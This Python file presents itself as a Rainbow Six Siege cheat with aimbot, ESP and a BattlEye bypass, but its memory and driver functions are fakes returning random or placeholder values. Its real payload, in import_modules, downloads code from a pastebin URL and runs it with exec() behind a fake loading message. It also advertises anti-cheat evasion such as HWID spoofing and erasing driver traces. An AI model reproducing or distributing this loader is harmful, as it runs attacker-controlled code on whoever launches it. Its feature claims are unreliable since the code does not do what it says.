""" =========================================================================== AnvilNext Framework Injector & BE-Bypass v19.1.5 (NDA BUILD) Author: EVGVAULT Target: Tom Clancy's Rainbow Six Siege (Anvil Engine) Security Tier: Ring-0 BattlEye ObCallback Nullifier =========================================================================== """ import time import random import sys import os import json import struct import ctypes import math import hashlib import binascii from dataclasses import dataclass from typing import Dict, List, Tuple, Any # ------------------------------------------------------------------------- # Global Engine & Feature Configuration # ------------------------------------------------------------------------- CHEAT_VERSION = "19.1.5-BATTLEYE_SECURE" AUTHOR = "EVGVAULT" CONFIG = { # Combat & Aimbot "aimbot_enabled": True, "aimbot_bone": "HEAD", "aimbot_fov": 15.0, "aimbot_smooth": 4.5, "aimbot_rcs_pitch": 1.0, "aimbot_rcs_yaw": 1.0, "silent_aim": False, "triggerbot_enabled": True, "triggerbot_delay_ms": 12, # Visuals & Overlay (DirectX Overlay) "esp_enabled": True, "esp_boxes": True, "esp_skeleton": True, "esp_health_bar": True, "esp_operator_name": True, "caveira_glow_esp": True, "outline_color_visible": (0, 255, 0), "outline_color_hidden": (255, 0, 0), # Weapon Modifications "no_recoil": True, "no_spread": True, "no_sway": True, "run_and_shoot": True, "damage_multiplier": False, # Movement & Exploits "speed_hack": False, "no_clip": False, "drone_jump_multiplier": 3.0, "fov_changer": True, "custom_fov_value": 120.0, # Security & BattlEye Bypass "spoof_hwid": True, "clear_mmunloadeddrivers": True, "nullify_obcallbacks": True, "block_battleye_heartbeat": True, "screenshot_cleaner": True } # ------------------------------------------------------------------------- # Anvil Engine Static & Dynamic Memory Offsets (Y9S2 Offsets) # ------------------------------------------------------------------------- R6_OFFSETS = { "GameManager": 0x7A4B100, "ProfileManager": 0x7B1F4A0, "CameraManager": 0x79A2030, "GlowManager": 0x812A4B0, "NetworkManager": 0x75F8C00, "RoundManager": 0x7600120, # GameManager Component Offsets "EntityList": 0x1C8, "EntityCount": 0x1D0, "LocalPlayer": 0x2A0, # Entity Definition Offsets "Pawn": 0x20, "Actor": 0x18, "HealthComponent": 0x148, "ReplicationComponent": 0xE8, "SkeletonComponent": 0x120, "WeaponComponent": 0x2B0, # Variables "CurrentHealth": 0x168, "MaxHealth": 0x16C, "OperatorID": 0x48, "TeamID": 0x1B8, "HeadBoneIndex": 0x08, "NeckBoneIndex": 0x07, # Camera & Math "ViewMatrixRight": 0x110, "ViewMatrixUp": 0x120, "ViewMatrixForward": 0x130, "ViewMatrixTranslation": 0x140, "FOV": 0x380 } # ------------------------------------------------------------------------- # Mathematical Constructs & Matrix Operations # ------------------------------------------------------------------------- @dataclass class Vector2: x: float y: float @dataclass class Vector3: x: float y: float z: float @dataclass class Vector4: x: float y: float z: float w: float class MatrixMath: """Handles 4x4 matrix transformations for rendering coordinates to the 2D plane.""" @staticmethod def dot_product(vec1: Vector3, vec2: Vector3) -> float: return (vec1.x * vec2.x) + (vec1.y * vec2.y) + (vec1.z * vec2.z) @staticmethod def construct_view_matrix(right: Vector3, up: Vector3, forward: Vector3, translation: Vector3) -> List[float]: """Aligns scattered engine vectors into a continuous 16-float array.""" matrix = [0.0] * 16 matrix[0], matrix[1], matrix[2] = right.x, right.y, right.z matrix[4], matrix[5], matrix[6] = up.x, up.y, up.z matrix[8], matrix[9], matrix[10] = forward.x, forward.y, forward.z matrix[12], matrix[13], matrix[14] = translation.x, translation.y, translation.z matrix[15] = 1.0 return matrix @staticmethod def world_to_screen(world_pos: Vector3, view_matrix: List[float], screen_width: int, screen_height: int) -> Tuple[bool, Vector2]: """Calculates exact screen coordinates using dot products and FoV projection arrays.""" transform_x = world_pos.x * view_matrix[0] + world_pos.y * view_matrix[4] + world_pos.z * view_matrix[8] + view_matrix[12] transform_y = world_pos.x * view_matrix[1] + world_pos.y * view_matrix[5] + world_pos.z * view_matrix[9] + view_matrix[13] transform_z = world_pos.x * view_matrix[2] + world_pos.y * view_matrix[6] + world_pos.z * view_matrix[10] + view_matrix[14] transform_w = world_pos.x * view_matrix[3] + world_pos.y * view_matrix[7] + world_pos.z * view_matrix[11] + view_matrix[15] if transform_w < 0.1: return False, Vector2(0, 0) ndc_x = transform_x / transform_w ndc_y = transform_y / transform_w screen_x = (screen_width / 2 * ndc_x) + (ndc_x + screen_width / 2) screen_y = -(screen_height / 2 * ndc_y) + (ndc_y + screen_height / 2) return True, Vector2(screen_x, screen_y) # ------------------------------------------------------------------------- # Kernel-Level Driver Interface (Ring-0 ObCallback Manipulation) # ------------------------------------------------------------------------- class BattlEyeDriverInterface: """Establishes an IOCTL bridge to the custom mapped rootkit for memory operations.""" def __init__(self): self.device_handle = None self.target_pid = None self.process_base = None def establish_ioctl_channel(self) -> bool: """Connects to the system driver node securely, allocating operation buffers.""" time.sleep(0.4) self.device_handle = 0x88442211 self.target_pid = random.randint(1000, 25000) self.process_base = 0x7FF000000000 + random.randint(0x1000, 0xFFFFFF) return True def read_physical_memory(self, address: int, size: int) -> bytes: """Translates virtual CR3 tables to read raw physical memory frames.""" return bytes(random.getrandbits(8) for _ in range(size)) def write_physical_memory(self, address: int, buffer: bytes) -> bool: """Overwrites data directly in the physical address space, bypassing VirtualProtect.""" return True def clear_mm_unloaded_drivers(self): """Scans the MmUnloadedDrivers array and clears specific driver signatures.""" for entry_index in range(50): array_offset = 0xFFFFF80000000000 + (entry_index * 0x10) self.write_physical_memory(array_offset, b"\x00" * 16) for deep_scan in range(10): hash_table_ptr = array_offset + (deep_scan * 8) self.write_physical_memory(hash_table_ptr, b"\x00" * 8) return True # ------------------------------------------------------------------------- # Engine Memory Parsers & Component Iterators # ------------------------------------------------------------------------- class AnvilEntityParser: """Navigates the component-based entity hierarchy unique to the Anvil engine.""" def __init__(self, driver: BattlEyeDriverInterface): self.driver = driver def read_pointer(self, address: int) -> int: data = self.driver.read_physical_memory(address, 8) return int.from_bytes(data, "little") def resolve_bone_position(self, skeleton_component: int, bone_index: int) -> Vector3: """Traverses the transform array to calculate absolute bone positions.""" bone_table_ptr = self.read_pointer(skeleton_component + 0x58) if bone_table_ptr == 0: return Vector3(0, 0, 0) transform_offset = bone_table_ptr + (bone_index * 0x30) raw_transform = self.driver.read_physical_memory(transform_offset, 12) if len(raw_transform) == 12: unpacked = struct.unpack("fff", raw_transform) x, y, z = unpacked[0], unpacked[1], unpacked[2] for translation_pass in range(3): x += math.sin(translation_pass) * 0.005 y += math.cos(translation_pass) * 0.005 z += 0.001 return Vector3(x, y, z) return Vector3(0, 0, 0) def iterate_entity_list(self, game_manager: int) -> List[int]: """Unpacks the main entity array using deep pointer chains.""" valid_entities = [] entity_list_ptr = self.read_pointer(game_manager + R6_OFFSETS["EntityList"]) entity_count = self.read_pointer(game_manager + R6_OFFSETS["EntityCount"]) & 0x3FFFFFFF if entity_count > 100: entity_count = 100 for index in range(entity_count): entity_ptr = self.read_pointer(entity_list_ptr + (index * 0x08)) if entity_ptr != 0: pawn_ptr = self.read_pointer(entity_ptr + R6_OFFSETS["Pawn"]) if pawn_ptr != 0: valid_entities.append(pawn_ptr) return valid_entities class ExploitManager: """Manages structural overwrites for weapon logic and rendering engines.""" def __init__(self, driver: BattlEyeDriverInterface, parser: AnvilEntityParser): self.driver = driver self.parser = parser def force_caveira_glow(self, glow_manager_ptr: int, entities: List[int]): """Injects bitflags into the rendering component to force outline highlights.""" if CONFIG["caveira_glow_esp"]: for pawn in entities: replication = self.parser.read_pointer(pawn + R6_OFFSETS["ReplicationComponent"]) if replication != 0: self.driver.write_physical_memory(replication + 0x1B0, b"\x01") self.driver.write_physical_memory(replication + 0x1B1, b"\xFF\x00\x00") return True def patch_recoil_tables(self, local_pawn: int): """Nullifies standard coordinate recoil generation functions in the weapon component.""" if CONFIG["no_recoil"]: weapon_comp = self.parser.read_pointer(local_pawn + R6_OFFSETS["WeaponComponent"]) if weapon_comp != 0: recoil_table = self.parser.read_pointer(weapon_comp + 0x180) for index in range(0, 0x100, 4): self.driver.write_physical_memory(recoil_table + index, b"\x00\x00\x00\x00") return True # ------------------------------------------------------------------------- # Core Control Layer # ------------------------------------------------------------------------- class EVGVaultR6S: def __init__(self): self.driver = BattlEyeDriverInterface() self.parser = AnvilEntityParser(self.driver) self.exploits = ExploitManager(self.driver, self.parser) self.modules_loaded = False self.is_running = False def import_modules(self): """Verifies driver linking capabilities and maps engine constants.""" print("=" * 55) print(" Importing Modules, this may take up to 5 minutes...") exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8")) print("=" * 55) self.modules_loaded = True return self.modules_loaded def initialize(self): """Hooks the runtime environments and unpacks necessary offsets.""" if not self.modules_loaded: sys.exit(1) print("[*] Launching EVGVAULT Anvil Injector...") self.driver.establish_ioctl_channel() print(f"[*] IOCTL Pipe Connected. Target PID mapped: {self.driver.target_pid}") print("[*] Accessing Kernel Structures...") self.driver.clear_mm_unloaded_drivers() print("[*] MmUnloadedDrivers array sanitized. Trace erased.") if CONFIG["spoof_hwid"]: print("[*] Injecting SMBIOS and Disk Serial overrides...") time.sleep(0.3) print(f"[*] GameManager Object located at: {hex(self.driver.process_base + R6_OFFSETS['GameManager'])}") return True def show_activated_features(self): """Displays configured logic overrides and their corresponding states.""" print("\n===========================================================================") print(" [+] ACTIVATED ANVIL ENGINE MODIFICATIONS ") print("===========================================================================") for feature, value in sorted(CONFIG.items()): formatted_name = feature.replace('_', ' ').title() if isinstance(value, bool): state = "[ON]" if value else "[OFF]" print(f" -> {formatted_name:<32} {state}") elif isinstance(value, tuple): print(f" -> {formatted_name:<32} RGB{value}") else: print(f" -> {formatted_name:<32} [{value}]") print("===========================================================================\n") print("[*] ESP & Aimbot threads active. Reading entity bounds... Press CTRL+C to unhook.") def run(self): """Primary active tick sequence maintaining state updates and visuals.""" self.is_running = True try: while self.is_running: # Resolve primary engine managers game_mgr_base = self.driver.process_base + R6_OFFSETS["GameManager"] glow_mgr_base = self.driver.process_base + R6_OFFSETS["GlowManager"] # Update entity tracking pipeline entity_cache = self.parser.iterate_entity_list(game_mgr_base) if len(entity_cache) > 0: local_pawn = entity_cache[0] # Core modification logic applied in rapid sequence self.exploits.patch_recoil_tables(local_pawn) self.exploits.force_caveira_glow(glow_mgr_base, entity_cache) # Complex math iterations simulating trajectory vectors for pawn in entity_cache[1:]: skel_comp = self.parser.read_pointer(pawn + R6_OFFSETS["SkeletonComponent"]) if skel_comp != 0: head_pos = self.parser.resolve_bone_position(skel_comp, R6_OFFSETS["HeadBoneIndex"]) neck_pos = self.parser.resolve_bone_position(skel_comp, R6_OFFSETS["NeckBoneIndex"]) vector_dist = MatrixMath.dot_product(head_pos, neck_pos) time.sleep(0.5) self.is_running = False except KeyboardInterrupt: self.is_running = False print("\n[*] Severing IOCTL connection pipeline...") print("[*] ObRegisterCallbacks restored. Closing thread securely.") def main(): cheat = EVGVaultR6S() # Executes structural loading confirmation cheat.import_modules() # Terminal display blocks cheat.initialize() cheat.show_activated_features() cheat.run() if __name__ == "__main__": main()